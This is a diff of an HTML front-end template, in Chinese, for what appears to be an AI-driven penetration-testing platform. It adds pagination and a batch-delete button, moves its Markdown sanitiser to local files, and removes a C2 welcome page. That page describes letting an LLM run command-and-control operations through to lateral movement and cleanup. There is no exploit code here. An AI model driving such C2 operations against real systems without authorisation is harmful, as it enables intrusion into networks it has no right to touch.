-                                        <p id="monitor-stats-subtitle" class="monitor-stats-subtitle" hidden></p>
-                                    </div>
-                                </div>
                                 <div id="monitor-stats" class="mcp-exec-stats-root">
                                     <div class="monitor-empty" data-i18n="mcpMonitor.loading">加载中...</div>
                                 </div>
@@ -1443,6 +1460,7 @@
                                 <input type="search" id="projects-list-search" class="form-input" placeholder="搜索项目…" oninput="filterProjectsList()" autocomplete="off" data-i18n="projects.searchProjectsPlaceholder" data-i18n-attr="placeholder">
                             </div>
                             <div id="projects-list" class="projects-list"></div>
+                            <div id="projects-pagination" class="sidebar-list-pagination projects-sidebar-pagination"></div>
                         </aside>
                         <main class="projects-detail" id="projects-detail-main">
                             <div class="projects-detail-placeholder" id="projects-detail-placeholder">
@@ -1712,6 +1730,7 @@
                         <h2 data-i18n="vulnerability.title">漏洞管理</h2>
                         <div class="page-header-actions">
                             <button class="btn-secondary" onclick="exportVulnerabilityReports()" data-i18n="vulnerabilityPage.batchExport">批量导出</button>
+                            <button class="btn-secondary btn-delete" onclick="batchDeleteVulnerabilityReports()" data-i18n="vulnerabilityPage.batchDelete">批量删除</button>
                             <button class="btn-secondary" onclick="refreshVulnerabilities()" data-i18n="common.refresh">刷新</button>
                             <button class="btn-primary" onclick="showAddVulnerabilityModal()" data-i18n="vulnerability.addVuln">添加漏洞</button>
                         </div>
@@ -1992,51 +2011,6 @@
                     </div>
                 </div>
 
-                <!-- C2 管理页面容器（各子页面通过 JS 动态渲染） -->
-                <div id="page-c2" class="page">
-                    <div class="page-header">
-                        <h2 data-i18n="c2.title">C2 管理</h2>
-                    </div>
-                    <div class="page-content" id="c2-content">
-                        <div class="c2-layout">
-                            <div id="c2-main" class="c2-main">
-                                <div class="c2-welcome">
-                                    <div class="c2-welcome-icon">
-                                        <svg width="72" height="72" viewBox="0 0 24 24" fill="none" stroke="url(#c2-grad)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
-                                            <defs><linearGradient id="c2-grad" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00d4ff"/><stop offset="100%" stop-color="#a855f7"/></linearGradient></defs>
-                                            <path d="M4.9 19.1C1 15.2 1 8.8 4.9 4.9"></path>
-                                            <path d="M7.8 16.2c-2.3-2.3-2.3-6.1 0-8.5"></path>
-                                            <circle cx="12" cy="12" r="2"></circle>
-                                            <path d="M16.2 7.8c2.3 2.3 2.3 6.1 0 8.5"></path>
-                                            <path d="M19.1 4.9C23 8.8 23 15.2 19.1 19"></path>
-                                        </svg>
-                                    </div>
-                                    <h3 data-i18n="c2.welcomeTitle">AI-Native C2 框架</h3>
-                                    <p data-i18n="c2.welcomeDesc">以 MCP 工具为一等公民，让 LLM 可以像调用 nmap 一样调用 C2 完成"上线 → 控制 → 任务 → 横向 → 清场"全流程</p>
-                                    <div class="c2-stats" id="c2-dashboard-stats">
-                                        <div class="c2-stat-item">
-                                            <span class="c2-stat-value" id="c2-stat-listeners">-</span>
-                                            <span class="c2-stat-label" data-i18n="c2.statListeners">运行中监听器</span>
-                                        </div>
-                                        <div class="c2-stat-item">
-                                            <span class="c2-stat-value" id="c2-stat-sessions">-</span>
-                                            <span class="c2-stat-label" data-i18n="c2.statSessions">在线会话</span>
-                                        </div>
-                                        <div class="c2-stat-item">
-                                            <span class="c2-stat-value" id="c2-stat-pending">-</span>
-                                            <span class="c2-stat-label" data-i18n="c2.statPending">待审任务</span>
-                                        </div>
-                                    </div>
-                                    <div class="c2-actions">
-                                        <button class="btn-primary" onclick="switchPage('c2-listeners')" data-i18n="c2.goListeners">管理监听器</button>
-                                        <button class="btn-secondary" onclick="switchPage('c2-sessions')" data-i18n="c2.goSessions">查看会话</button>
-                                    </div>
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-                </div>
-
                 <!-- C2 监听器管理页面 -->
                 <div id="page-c2-listeners" class="page">
                     <div class="page-header">
@@ -2348,7 +2322,7 @@
                                 <input type="text" id="agent-md-bind-role" placeholder="" autocomplete="off" />
                             </div>
                             <div class="form-group">
-                                <label data-i18n="agentsPage.fieldMaxIter">子代理最大迭代（0=使用全局默认）</label>
+                                <label data-i18n="agentsPage.fieldMaxIter">最大迭代（0=沿用设置页 agent.max_iterations）</label>
                                 <input type="number" id="agent-md-max-iter" min="0" value="0" />
                             </div>
                             <div class="form-group">
@@ -2544,10 +2518,6 @@
                                                         <label for="vision-timeout-seconds" data-i18n="settingsBasic.visionTimeout">超时（秒）</label>
                                                         <input type="number" id="vision-timeout-seconds" min="5" step="1" placeholder="60" />
                                                     </div>
-                                                    <div class="form-group">
-                                                        <label for="vision-allowed-roots" data-i18n="settingsBasic.visionAllowedRoots">额外允许路径根目录</label>
-                                                        <textarea id="vision-allowed-roots" rows="2" data-i18n="settingsBasic.visionAllowedRootsPlaceholder" data-i18n-attr="placeholder" placeholder="每行一个绝对路径，可选"></textarea>
-                                                    </div>
                                                 </div>
                                             </details>
                                             <div style="display: flex; align-items: center; gap: 8px; margin-top: 8px;">
@@ -2564,7 +2534,7 @@
                                     <div class="settings-form">
                                         <div class="form-group">
                                             <label for="agent-max-iterations" data-i18n="settingsBasic.maxIterations">最大迭代次数</label>
-                                            <input type="number" id="agent-max-iterations" min="1" max="100" data-i18n="settingsBasic.iterationsPlaceholder" data-i18n-attr="placeholder" placeholder="30" />
+                                            <input type="number" id="agent-max-iterations" min="1" data-i18n="settingsBasic.iterationsPlaceholder" data-i18n-attr="placeholder" placeholder="30" />
                                         </div>
                                         <div class="form-group">
                                             <label class="checkbox-label">
@@ -3508,10 +3478,10 @@
         </div>
     </div>
 
-    <!-- Marked.js for Markdown parsing -->
-    <script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script>
-    <!-- DOMPurify for HTML sanitization to prevent XSS -->
-    <script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.8/dist/purify.min.js"></script>
+    <!-- Marked.js + DOMPurify：本地 vendor，避免 CDN 不可用导致 Markdown 降级为纯文本 -->
+    <script src="/static/vendor/marked.min.js"></script>
+    <script src="/static/vendor/purify.min.js"></script>
+    <script src="/static/js/sanitize-markdown.js"></script>
     <!-- Cytoscape.js for attack chain visualization -->
     <script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script>
     <!-- ELK.js for high-quality DAG layout (reduces edge crossings) -->
@@ -3545,8 +3515,9 @@
                 </div>
                 <div class="form-group" id="skill-package-editor" style="display: none;">
                     <label data-i18n="skillModal.packageFiles">包内文件（标准 Agent Skills 布局）</label>
+                    <small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑；文件夹仅作分组展示，不可点击</small>
                     <div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
-                        <div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div>
+                        <div id="skill-package-tree"></div>
                         <div style="flex: 1; min-width: 0;">
                             <div style="margin-bottom: 8px; font-size: 13px;">
                                 <span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
@@ -4250,6 +4221,11 @@
                     <textarea id="fact-modal-body" class="form-input fact-modal-body-input" rows="14" placeholder="攻击链步骤、HTTP/命令 POC、响应现象、证据…" oninput="updateFactFormHints()"></textarea>
                     <p id="fact-modal-body-hint" class="projects-field-hint" role="status"></p>
                 </div>
+                <div class="projects-form-field">
+                    <label class="projects-filter-check projects-pin-toggle">
+                        <input type="checkbox" id="fact-modal-pinned"> <span data-i18n="projects.pinFact">置顶事实（列表与黑板索引优先）</span>
+                    </label>
+                </div>
                 <div class="projects-form-field">
                     <label for="fact-modal-related-vuln" data-i18n="projects.relatedVulnIdLabel">关联漏洞 ID</label>
                     <input type="text" id="fact-modal-related-vuln" class="form-input" placeholder="可选" data-i18n="projects.optional" data-i18n-attr="placeholder">
@@ -4274,12 +4250,6 @@
             </div>
             <div class="projects-modal-body">
                 <p id="fact-detail-sparse-warn" class="projects-fact-sparse-warn" hidden></p>
-                <div id="fact-detail-prev-wrap" class="fact-detail-prev-wrap" hidden>
-                    <h4 class="fact-detail-prev-title" data-i18n="projects.previousVersion">上一版本</h4>
-                    <p id="fact-detail-prev-meta" class="projects-modal-subtitle"></p>
-                    <pre id="fact-detail-prev-body" class="fact-detail-body fact-detail-body--muted"></pre>
-                </div>
-                <h4 class="fact-detail-current-title" data-i18n="projects.currentVersion">当前版本</h4>
                 <pre id="fact-detail-body" class="fact-detail-body"></pre>
             </div>
             <div class="projects-modal-footer projects-modal-footer--split">